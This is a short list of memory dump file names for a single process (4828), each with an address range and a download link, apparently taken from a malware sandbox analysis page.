memory/4828-4-0x00000000057C0000-0x00000000057CA000-memory.dmp

Download

memory/4828-16-0x0000000005890000-0x00000000058A0000-memory.dmp

Download

memory/4828-3-0x0000000005890000-0x00000000058A0000-memory.dmp

Download

memory/4828-0-0x0000000000690000-0x0000000000C4A000-memory.dmp

Download

memory/4828-2-0x0000000005620000-0x00000000056B2000-memory.dmp

Download

memory/4828-1-0x0000000005AF0000-0x0000000006094000-memory.dmp

Download

memory/4828-25-0x0000000005890000-0x00000000058A0000-memory.dmp

Download